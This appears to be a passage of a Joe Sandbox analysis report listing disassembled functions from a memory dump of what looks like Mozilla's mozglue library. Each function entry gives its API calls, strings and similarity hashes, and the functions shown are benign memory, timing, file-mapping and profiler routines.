Function 6C698ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

timeline-ipc, xrefs: 6C699096
stack-chart, xrefs: 6C6990B2
timeline-overview, xrefs: 6C69907A
data, xrefs: 6C6990E8
timeline-memory, xrefs: 6C699088
marker-chart, xrefs: 6C69905E
marker-table, xrefs: 6C69906C
timeline-fileio, xrefs: 6C6990A4
name, xrefs: 6C698F16

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

(null), xrefs: 6C67C596
0, xrefs: 6C67D30A

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C67C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C67C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C67C891

Strings

NAN, xrefs: 6C67C7AD
inf, xrefs: 6C67C78F
nan, xrefs: 6C67C7A8
INF, xrefs: 6C67C794

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction ID: cc99c5c77600d26ef2be13eca573c25623f929f90bd9dbf0f00d6d2fa080d3d4
Opcode Fuzzy Hash: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction Fuzzy Hash: 95519170A087449BD710EF2CC58169AFBF0BF8A308F008E2DE9D5A7651E771D9858B5B

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

kernel32.dll, xrefs: 6C6534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C653508

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C669620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
MapViewOfFileNuma2, xrefs: 6C6697B1
ntdll.dll, xrefs: 6C6696E3
NtMapViewOfSection, xrefs: 6C669701

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C6A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C6A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6A0041
GetCurrentThreadId.KERNEL32 ref: 6C6A0075
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C6A0090
free.MOZGLUE(?), ref: 6C6A0104
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C6A005B

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction ID: 7e6e514935adee0641d6f1f8b256edd75366cfb438b1d6f785e6d5037f67f481
Opcode Fuzzy Hash: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction Fuzzy Hash: 17417E755006459FCB10CF66C880A9ABBF1FF8A318F44491DE95A83B51D731BC16CBAE

Function 6C667E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C667EA7
malloc.MOZGLUE(00000001), ref: 6C667EB3

Part of subcall function 6C66CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C66CB49
Part of subcall function 6C66CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C66CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C667EC4
mozalloc_abort.MOZGLUE(?), ref: 6C667F19
malloc.MOZGLUE(?), ref: 6C667F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C667F4D

Strings

d, xrefs: 6C667F89

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction ID: e830ebfc37e3d5da22a8c8654ceb0f7c4ca94ed4ed5000a78e94d46f495ec9d3
Opcode Fuzzy Hash: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction Fuzzy Hash: 4C312A61E0438897DB009B2ACC449FEF778EF96308F045229DD4997612FB30B6C8C399

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C652030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C673F47,?,?,?,6C673F47,6C671A70,?), ref: 6C65207F
memset.VCRUNTIME140(?,000000E5,6C673F47,?,6C673F47,6C671A70,?), ref: 6C6520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C673F47,6C671A70,?), ref: 6C65211A
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C673F47,6C671A70,?), ref: 6C6521BA
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C6521E0
LeaveCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C652253, 6C652268
MOZ_CRASH(), xrefs: 6C65227D

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction ID: 7e36738cd544deb886a7857f14d62307f3bb1c14c81ea5c6fc06f313dd50c072
Opcode Fuzzy Hash: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction Fuzzy Hash: A861E431F042168FCB14CE69C889B6E77B1AF85318F794239E624A7B94D770A810CB99

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
